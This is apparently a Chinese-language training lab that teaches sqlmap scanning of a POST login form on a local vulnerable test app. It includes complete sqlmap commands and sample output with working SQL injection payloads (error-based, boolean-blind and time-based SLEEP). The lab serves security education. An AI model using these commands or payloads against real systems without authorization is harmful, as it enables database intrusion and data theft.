对使用 sqlmap 的 POST 请求执行扫描

Kali LinuxBeginner
立即练习

引言

SQL 注入是一种关键的 Web 安全漏洞,它允许攻击者干扰应用程序对其数据库执行的查询。虽然许多示例都侧重于 URL 参数(GET 请求)中的漏洞,但通过 POST 请求提交数据的表单也是常见的攻击目标。

在本实验中,你将学习如何使用 sqlmap,一个强大的开源渗透测试工具,来自动化检测和利用 SQL 注入缺陷的过程。具体来说,你将专注于针对使用 POST 方法提交数据的 Web 表单。你将学习如何捕获 POST 数据并将其提供给 sqlmap 以执行全面的扫描。

识别使用 POST 方法的 Web 表单

在此步骤中,你将启动一个简单的 Web 服务器,并识别一个使用 HTTP POST 方法的 Web 表单。POST 请求旨在将数据发送到服务器以创建或更新资源,这使其成为提交登录表单、评论或任何其他用户生成内容的常用方法。

首先,让我们验证我们的示例 Web 应用程序是否正在运行。我们可以使用 curl 来获取主页。

在你的终端中执行以下命令:

curl http://localhost:8000

你应该会看到一个简单的登录页面的 HTML 源代码。在输出中查找 <form> 标签。

<!DOCTYPE html>
<html>
  <head>
    <title>Login Page</title>
  </head>
  <body>
    <h2>Login Form</h2>
    <form action="login.php" method="POST">
      <label for="username">Username:</label><br />
      <input type="text" id="username" name="username" /><br />
      <label for="password">Password:</label><br />
      <input type="password" id="password" name="password" /><br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

请注意 <form> 标签内的 method="POST" 属性。这会告诉浏览器使用 POST 请求将表单数据发送到 login.php 脚本。识别这一点是准备我们的 sqlmap 扫描的第一步。你也可以从桌面打开 Firefox 浏览器并导航到 http://localhost:8000 来直观地查看表单。

使用浏览器开发者工具捕获 POST 数据字符串

在此步骤中,你将学习如何捕获 POST 请求发送的数据字符串。sqlmap 需要此数据来了解要测试哪些参数是否存在 SQL 注入漏洞。获取此信息的最佳方法是使用浏览器内置的开发者工具。

  1. 在你的 LabEx 环境中,从左侧应用程序坞打开 Firefox 浏览器。
  2. 导航到 http://localhost:8000
  3. F12 或右键单击页面并选择“检查”以打开开发者工具。
  4. 在开发者工具面板中,单击 Network 选项卡。
  5. 在登录页面上,在表单字段中输入一些模拟数据。例如,用户名使用 test,密码使用 test
  6. 单击 Login 按钮。
  7. 在 Network 选项卡中,你将看到 login.php 的新条目。单击它。
  8. 将打开一个新面板。查找名为 RequestPayload 的选项卡。在这里,你将找到发送到服务器的表单数据。它看起来像这样:
username=test&password=test

这个字符串 username=test&password=test 正是我们需要为 sqlmap 使用的。它包含了参数名称(usernamepassword)以及你提交的值。

对于下一步,让我们将此数据字符串保存在你的 ~/project 目录中的一个文件中。这对于使用 sqlmap 来说不是必需的,但对于跟踪你的发现是一个好习惯。

echo 'username=test&password=test' > ~/project/post_data.txt

使用 --data 标志指定 POST 参数

在此步骤中,你将使用 --data 标志构建一个基本的 sqlmap 命令。此标志对于告知 sqlmap 发送 POST 请求以及在请求正文中包含哪些数据至关重要。

sqlmap 中 POST 扫描的基本语法是:

sqlmap -u "TARGET_URL" --data="POST_DATA_STRING"

  • -u "TARGET_URL":指定处理表单数据的 URL。在我们的例子中,这是 http://localhost:8000/login.php
  • --data="POST_DATA_STRING":提供你在上一步捕获的数据字符串。

让我们运行一个命令来查看 sqlmap 如何处理这些信息。我们将使用之前找到的数据字符串。此命令尚不会执行完整扫描;它只会帮助我们确认 sqlmap 是否正确识别了 POST 参数。

在你的终端中执行以下命令:

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"

sqlmap 将启动并显示一些初始信息。它会正确识别这是一个 POST 请求,并找到 usernamepassword 参数。然后它会询问你是否要测试它们。

[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
    Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test

Parameter: password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

[*] ending @ ...

当被问及是否要屏蔽密码时,你可以按 n,然后 sqlmap 将继续执行。对于此步骤,你可以让它运行,或者在看到它识别出参数后按 Ctrl+C 退出。关键在于理解 --data 标志的工作原理。

在目标 URL 上使用 POST 数据执行扫描

在此步骤中,你将在目标上执行完整扫描。为了使过程更顺畅且无需交互,我们将为 sqlmap 命令添加一些额外的标志。

  • -p "username":此标志告诉 sqlmap 将测试重点仅放在 username 参数上。如果你怀疑某个特定参数存在漏洞,这可以节省大量时间。
  • --batch:此标志通过告诉 sqlmap 使用所有通常会询问的交互式问题的默认答案来自动化过程。这对于运行无人值守的扫描非常有用。

现在,让我们将所有内容组合成最终命令。我们的目标是 login.php URL,提供 POST 数据,指定要测试的 username 参数,并在批处理模式下运行它。

在你的终端中执行以下命令:

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test" -p "username" --batch

sqlmap 现在将开始对 username 参数进行全面扫描。由于我们易受攻击的脚本使用 sleep() 函数来模拟数据库延迟,sqlmap 可能会使用基于时间的盲注技术。这种类型的扫描可能需要几分钟时间,因为 sqlmap 需要发送多个请求并测量每个请求的响应时间来确认漏洞。

运行时,你将看到类似以下的输出:

...
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...

让扫描完成。它将确认 username 参数存在漏洞。

分析基于 POST 的 SQL 注入结果

在此步骤中,你将分析 sqlmap 的输出以了解其发现的漏洞。在上一步扫描完成后,sqlmap 将展示其发现的摘要。

最终输出将类似如下:

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 6113 FROM (SELECT(SLEEP(5)))bYjb) AND 'TEST'='TEST&password=test
---
[INFO] the back-end DBMS is 'MySQL >= 5.0.12'
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

让我们分解一下这个结果:

  • **Parameter: username (POST)**:这确认了漏洞是在 POST 请求的 username 参数中发现的。
  • Type: time-based blind:这是 SQL 注入的类型。“Blind”(盲注)意味着应用程序不会在其响应中返回数据库错误。“Time-based”(基于时间)意味着 sqlmap 通过注入导致时间延迟的命令(例如 SLEEP(5))并测量服务器的响应时间来确认漏洞。
  • Payload:这显示了 sqlmap 用于确认漏洞的实际恶意输入。

sqlmap 还会将所有会话信息(包括日志和结果)保存到一个目录中。输出中提到了该位置,通常是 ~/.sqlmap/output/。你可以检查此目录以查找扫描的详细日志。

让我们列出我们目标结果目录的内容:

ls -l ~/.sqlmap/output/localhost:8000

你将看到类似 logsession.sqlite 的文件。log 文件包含扫描的完整记录,这对于详细分析和报告很有用。

total 24
-rw-r--r-- 1 labex labex 15589 Dec  6 15:30 log
-rw-r--r-- 1 labex labex  8192 Dec  6 15:30 session.sqlite
-rw-r--r-- 1 labex labex     0 Dec  6 15:29 target.txt

你现在已经成功使用 sqlmap 识别并确认了一个基于 POST 的 SQL 注入漏洞。

总结

在这个实验中,你学会了如何使用 sqlmap 来测试使用 POST 方法的 Web 表单中的 SQL 注入漏洞。你成功地识别了一个 POST 表单,使用浏览器开发者工具捕获了必要的数据字符串,并使用 sqlmap 中的 --data 标志来指定 POST 参数。最后,你使用 --batch-p 标志执行了自动化扫描并分析了结果,确认了一个基于时间的盲注 SQL 注入漏洞。这个过程是 Web 应用程序安全测试的一项基本技能。